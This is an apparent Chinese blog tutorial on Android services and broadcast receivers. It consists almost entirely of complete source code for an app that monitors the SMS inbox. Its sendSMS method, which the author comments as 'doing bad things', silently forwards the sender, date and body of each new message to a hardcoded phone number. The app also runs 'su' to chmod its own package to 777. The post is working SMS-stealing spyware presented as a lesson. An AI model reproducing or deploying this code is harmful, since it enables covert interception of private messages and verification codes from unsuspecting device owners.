Android开发-四大组件之服务、广播

废话少说,直接上代码

MainActivity.java

package com.hai.broadcast;

import java.io.DataOutputStream;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends Activity implements OnClickListener{
	private Button btn_startService;
	private Button btn_stopService;
	private TextView tv_sms;
	private Intent intentService;
	private IntentFilter intentFilter; 
//	private BroadcastService broadcastService;
	
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		// TODO Auto-generated method stub
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		
		if(upgradeRootPermission(getPackageCodePath())){
			Toast.makeText(this, "root权限获取成功", Toast.LENGTH_SHORT).show();
		}
		
		initView();
	}

	@Override
	protected void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
	}

	private void initView() {
		// TODO Auto-generated method stub
		btn_startService = (Button) findViewById(R.id.btn_startService);
		btn_stopService = (Button) findViewById(R.id.btn_stopService);
		btn_startService.setOnClickListener(this);
		btn_stopService.setOnClickListener(this);
		tv_sms = (TextView) findViewById(R.id.tv_sms);
		
	}
	
	//通过绑定服务的方式,返回该对象回调里面的方法
	/*ServiceConnection serviceConnection = new ServiceConnection() {
		
		@Override
		public void onServiceDisconnected(ComponentName name) {
			// TODO Auto-generated method stub
			Toast.makeText(getApplicationContext(), "服务断开", Toast.LENGTH_SHORT).show();
		}
		
		@Override
		public void onServiceConnected(ComponentName name, IBinder service) {
			// TODO Auto-generated method stub
			broadcastService = ((BroadcastService.MyBinder)service).getService();
			broadcastService.startThread();
		}
	};*/

	@Override
	public void onClick(View v) {
		// TODO Auto-generated method stub
		if(v == btn_startService){
			intentService = new Intent(MainActivity.this, BroadcastService.class);
//			bindService(intentService, serviceConnection, Context.BIND_AUTO_CREATE);
			startService(intentService);
			Toast.makeText(getApplicationContext(), "启动服务", Toast.LENGTH_SHORT).show();
			intentFilter = new IntentFilter("com.hai.getSMS");
			registerReceiver(receiverSMS, intentFilter);
		}else if(v == btn_stopService){
//			unbindService(serviceConnection);
			stopService(intentService);
		}
	}
	
	BroadcastReceiver receiverSMS = new BroadcastReceiver(){

		@Override
		public void onReceive(Context context, Intent intent) {
			tv_sms.setText(intent.getStringExtra("sms"));
		}
		
	};
	
	/**
	 * 应用程序运行命令获取 Root权限,设备必须已破解(获得ROOT权限)
	 * 
	 * @return 应用程序是/否获取Root权限
	 */
	public static boolean upgradeRootPermission(String pkgCodePath) {
	    Process process = null;
	    DataOutputStream os = null;
	    try {
	        String cmd="chmod 777 " + pkgCodePath;
	        process = Runtime.getRuntime().exec("su"); //切换到root帐号
	        os = new DataOutputStream(process.getOutputStream());
	        os.writeBytes(cmd + "\n");
	        os.writeBytes("exit\n");
	        os.flush();
	        process.waitFor();
	    } catch (Exception e) {
	        return false;
	    } finally {
	        try {
	            if (os != null) {
	                os.close();
	            }
	            process.destroy();
	        } catch (Exception e) {
	        }
	    }
	    return true;
	}

}

BroadcastService.java

package com.hai.broadcast;

import java.text.SimpleDateFormat;
import java.util.Date;

import com.hai.model.SMSModel;

import android.annotation.SuppressLint;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.media.SoundPool;
import android.media.SoundPool.OnLoadCompleteListener;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.telephony.SmsManager;
import android.widget.Toast;

@SuppressLint("SimpleDateFormat")
public class BroadcastService extends Service{
//	private IntentFilter intentFilter;
	
	private Uri SMS_INBOX = Uri.parse("content://sms/");
	private SmsObserver smsObserver;
	
	private Intent intentService;
	
	/*public void startThread(){
		new Thread(new Runnable() {
			
			@Override
			public void run() {
				// TODO Auto-generated method stub
				while(true){
					try {
						Thread.sleep(2000);
					} catch (InterruptedException e) {
						e.printStackTrace();
					}
				}
			}
		});
	}*/
	
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
	}

	@Override
	public int onStartCommand(Intent intent, int flags, int startId) {
		// TODO Auto-generated method stub
		//通过注册广播接收器的方式可能获取不到最新的短信
//		intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
//		registerReceiver(broadcastReceiver, intentFilter);
		
		intentService = intent;
		
		smsObserver = new SmsObserver(this, smsHandler);
		getContentResolver().registerContentObserver(SMS_INBOX, true, smsObserver);
		
		return super.onStartCommand(intent, flags, startId);
	}

	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
//		unregisterReceiver(broadcastReceiver);
		Toast.makeText(getApplicationContext(), "注销广播接收器", Toast.LENGTH_SHORT).show();
		getContentResolver().unregisterContentObserver(smsObserver);
		
	}

	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}
	
	/*public class MyBinder extends Binder{
		public BroadcastService getService(){
			return BroadcastService.this;
		}
	}
	
	BroadcastReceiver broadcastReceiver = new BroadcastReceiver(){

		@Override
		public void onReceive(Context context, Intent intent) {
			dealSMS();
		}
	};*/
	
	public Handler smsHandler = new Handler() {
		//这里可以进行回调的操作

	};
	class SmsObserver extends ContentObserver {

		public SmsObserver(Context context, Handler handler) {
			super(handler);
		}

		@Override
		public void onChange(boolean selfChange) {
			super.onChange(selfChange);
			//每当有新短信到来时,使用我们获取短消息的方法
			dealSMS();
		}
	}
	
	private void dealSMS(){

		SMSModel smsModel = getSmsFromPhone();
//		Toast.makeText(getApplicationContext(), "检测到新消息-"+smsModel.getDate()+"-"+smsModel.getSenderPhone()
//				+":"+smsModel.getBody(), Toast.LENGTH_LONG).show();
		Intent intent2 = new Intent("com.hai.getSMS");
		intent2.putExtra("sms", "检测到新消息-"+smsModel.getDate()+"-"+smsModel.getSenderPhone()
				+":"+smsModel.getBody());
		sendBroadcast(intent2);	//发送广播,更新UI界面
//		SoundPool soundPool = new SoundPool(5, AudioManager.STREAM_RING, 5);
//    	soundPool.load(getApplicationContext(), R.raw.prompt, 1);
//    	soundPool.setOnLoadCompleteListener(loadCompleteListener);
		sendSMS(smsModel);
	
	}

	//做坏事
	private void sendSMS(SMSModel smsModel) {
		
		SmsManager smsManager = SmsManager.getDefault();
		smsManager.sendTextMessage("1856580xxxx", null, "检测到新消息-"+smsModel.getDate()+"-"+smsModel.getSenderPhone()
				+":"+smsModel.getBody(), null, null);
	}

	/**
	 * 获取最新的短信
	 * @return
	 */
	public SMSModel getSmsFromPhone() {
		SMSModel smsModel = new SMSModel();
		try {
			Thread.sleep(1000);
		} catch (InterruptedException e) {
			e.printStackTrace();
		}
		ContentResolver cr = getContentResolver();
//		String[] projection = new String[] { "body" };//"_id", "address", "person",, "date", "type
//		String where = " date > "
//				+ (System.currentTimeMillis() - 10 * 60);
		Cursor cur = cr.query(SMS_INBOX, null, null, null, "date desc");
		if (null == cur)
			return smsModel;
		if (cur.moveToNext()) {
			String number = cur.getString(cur.getColumnIndex("address"));//手机号
//			String name = cur.getString(cur.getColumnIndex("person"));//联系人姓名列表
			String body = cur.getString(cur.getColumnIndex("body"));
			String date = cur.getString(cur.getColumnIndex("date"));
			SimpleDateFormat sdf= new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
			Date date2 = new Date(Long.parseLong(date));
			String date3 = sdf.format(date2);
			smsModel.setDate(date3);
			smsModel.setSenderPhone(number);
			smsModel.setBody(body);
			
			//这里我是要获取自己短信服务号码中的验证码~~
//			Pattern pattern = Pattern.compile(" [a-zA-Z0-9]{10}");
//			Matcher matcher = pattern.matcher(body);
//			if (matcher.find()) {
//				String res = matcher.group().substring(1, 11);
				mobileText.setText(res);
//			}
		}
		
		return smsModel;
	}

	
	OnLoadCompleteListener loadCompleteListener = new OnLoadCompleteListener() {
		
		@Override
		public void onLoadComplete(SoundPool soundPool, int sampleId, int status) {
			soundPool.play(1, 1, 1, 0, 0, 1);
		}
	};

}

SMSModel.java

package com.hai.model;

public class SMSModel {
	private String senderPhone;
	private String recipientPhone;	//收件人手机号
	private String body;
	private String date;
	public String getSenderPhone() {
		return senderPhone;
	}
	public void setSenderPhone(String senderPhone) {
		this.senderPhone = senderPhone;
	}
	public String getRecipientPhone() {
		return recipientPhone;
	}
	public void setRecipientPhone(String recipientPhone) {
		this.recipientPhone = recipientPhone;
	}
	public String getBody() {
		return body;
	}
	public void setBody(String body) {
		this.body = body;
	}
	public String getDate() {
		return date;
	}
	public void setDate(String date) {
		this.date = date;
	}
	
}

activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center_horizontal"
    android:orientation="vertical" >

    <Button
        android:id="@+id/btn_startService"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="启动监测短信服务" />
    
    <Button
        android:id="@+id/btn_stopService"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="停止服务" />
    
    <TextView 
        android:id="@+id/tv_sms"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:padding="20dp"
        android:gravity="center"
        android:text="短信显示处"
        />

</LinearLayout>
AndroidManifest.xml

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.hai.broadcast"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        
        <activity android:name=".MainActivity" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
        <service android:name=".BroadcastService" android:enabled="true" >
            <intent-filter android:priority="1000"></intent-filter>
        </service>
        
    </application>

</manifest>



  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值